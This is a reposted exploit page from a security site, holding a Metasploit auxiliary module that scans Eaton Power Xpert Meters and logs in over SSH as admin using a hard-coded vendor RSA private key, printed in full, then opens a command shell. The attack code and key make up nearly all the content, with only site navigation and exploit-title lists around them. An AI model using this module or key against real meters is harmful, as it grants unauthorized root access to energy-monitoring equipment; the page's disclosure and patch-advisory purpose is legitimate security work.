首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Eaton Xpert Meter 13.4.0.10 - SSH Private Key Disclosure
来源:https://CTRLu.net/ 作者:BrianWGray 发布时间:2018-08-29  
# Exploit Title: Eaton Xpert Meter 13.4.0.10 - SSH Private Key Disclosure
# Date: 2018-07-16
# WebPage: https://CTRLu.net/
# Vendor Homepage: http://www.eaton.com/
# Vendor Advisory: http://www.eaton.com/content/dam/eaton/company/news-insights/cybersecurity/security-bulletins/PXM-Advisory.pdf
# Software Link: http://www.eaton.com/Eaton/ProductsServices/Electrical/ProductsandServices/PowerQualityandMonitoring/PowerandEnergyMeters/PowerXpertMeter400060008000/index.htm#tabs-2
# Version: Firmware <= 12.x and <= 13.3.x.x and below more versions may be impacted
# Recomended to update to Version 13.4.0.10 or above
# Tested on: Firmware 12.1.9.1 and 13.3.2.10
# CVE : N/A
 
# XXX: This shouldn't be necessary but is now
require 'net/ssh/command_stream'
 
class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::SSH
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::CommandShell
  include Msf::Auxiliary::Report
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Eaton Xpert Meter SSH Private Key Exposure Scanner',
      'Description'    => %q{
        Eaton Power Xpert Meters are used across industries for energy management,
        monitoring circuit loading, and identifying power quality problems.
        Meters running firmware 12.x.x.x or below version 13.3.x.x and below ship with
        a public/private key pair on Power Xpert Meter hardware that allows
        passwordless authentication to any other affected Power Xpert Meter.
        The vendor recommends updating to Version 13.4.0.10 or above. As the key is
        easily retrievable, an attacker can use it to gain unauthorized remote
        access as uid0
      },
      'Author'         => [
        'BrianWGray'
      ],
      'References'     => [
        ['URL', 'http://www.eaton.com/content/dam/eaton/company/news-insights/cybersecurity/security-bulletins/PXM-Advisory.pdf'],
        ['URL', 'https://www.ctrlu.net/vuln/0006.html']
      ],
      'DisclosureDate' => 'Jul 18 2018',
      'License'        => MSF_LICENSE
    ))
 
    register_options([
      Opt::RPORT(22)
    ])
 
    register_advanced_options([
      OptBool.new('SSH_DEBUG',  [false, 'SSH debugging', false]),
      OptInt.new('SSH_TIMEOUT', [false, 'SSH timeout', 10])
    ])
  end
 
  def run_host(ip)
    factory = ssh_socket_factory
 
    ssh_opts = {
      auth_methods:    ['publickey'],
      port:            rport,
      key_data:        [ key_data ],
      hmac:            ['hmac-sha1'],
      encryption:      ['aes128-cbc'],
      kex:             ['diffie-hellman-group1-sha1'],
      host_key:        ['ssh-rsa'],
      use_agent:       false,
      config:          false,
      proxy:           factory
    }
 
    ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
 
    begin
      ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
        Net::SSH.start(ip, 'admin', ssh_opts)
      end
    rescue Net::SSH::Exception => e
      vprint_error("#{ip}:#{rport} - #{e.class}: #{e.message}")
      return
    end
 
    return unless ssh
 
    print_good("#{ip}:#{rport} - Logged in as admin")
 
    version = ssh.transport.server_version.version
 
    report_vuln(
      host: ip,
      name: self.name,
      refs: self.references,
      info: version
    )
 
    shell = Net::SSH::CommandStream.new(ssh)
 
    return unless shell
 
    info = "Eaton Xpert Meter SSH Backdoor (#{version})"
 
    ds_merge = {
      'USERNAME' => 'admin'
    }
 
    start_session(self, info, ds_merge, false, shell.lsock)
 
    # XXX: Ruby segfaults if we don't remove the SSH socket
    remove_socket(ssh.transport.socket)
  end
 
  def rport
    datastore['RPORT']
  end
  
  def key_data
    <<EOF
-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQCfwugh3Y3mLbxw0q4RZZ5rfK3Qj8t1P81E6sXjhZl7C3FyH4Mj
C15CEzWovoQpRKrPdDaB5fVyuk6w2fKHrvHLmU2jTzq79B7A4JJEBQatAJeoVDgl
TyfL+q6BYAtAeNsho8eP/fMwrT2vhylNJ4BTsJbmdDJMoaaHu/0IB9Z9ywIBIwKB
gQCEX6plM+qaJeVHif3xKFAP6vZq+s0mopQjKO0bmpUczveZEsu983n8O81f7lA/
c2j1CITvSYI6fRyhKZ0RVnCRcaQ8h/grzZNdyyD3FcqDNKO7Xf+bvYySrQXhLeQP
I3jXGQPfBZUicGPcJclA98SBdBI1SReAUls1ZdzDwA3T8wJBAM6j1N3tYhdqal2W
gA1/WSQrFxTt28mFeUC8enGvKLRm1Nnxk/np9qy2L58BvZzCGyHAsZyVZ7Sqtfb3
YzqKMzUCQQDF7GrnrxNXWsIAli/UZscqIovN2ABRa2y8/JYPQAV/KRQ44vet2aaB
trQBK9czk0QLlBfXrKsofBW81+Swiwz/AkEAh8q/FX68zY8Ssod4uGmg+oK3ZYZd
O0kVKop8WVXY65QIN3LdlZm/W42qQ+szdaQgdUQc8d6F+mGNhQj4EIaz7wJAYCJf
z54t9zq2AEjyqP64gi4JY/szWr8mL+hmJKoRTGRo6G49yXhYMGAOSbY1U5CsBZ+z
zyf7XM6ONycIrYVeFQJABB8eqx/R/6Zwi8mVKMAF8lZXZB2dB+UOU12OGgvAHCKh
7izYQtGEgPDbklbvEZ31F7H2o337V6FkXQMFyQQdHA==
-----END RSA PRIVATE KEY-----
EOF
  end
end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Immunity Debugger 1.85 - Denia
·R 3.4.4 Bufer Overflow
·NASA openVSP 3.16.1 - Denial o
·SIPP 3.3 Stack-Based Overflow
·Microsoft Windows - JScript Re
·Argus Surveillance DVR 4.0.0.0
·UltraISO 9.7.1.3519 - Buffer O
·WhatsApp 2.18.61 Memory Corrup
·Textpad 8.1.2 Denial Of Servic
·Argus Surveillance DVR 4.0.0.0
·Instagram App 41.1788.50991.0
·ipPulse 1.92 - 'TCP Port' Deni
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved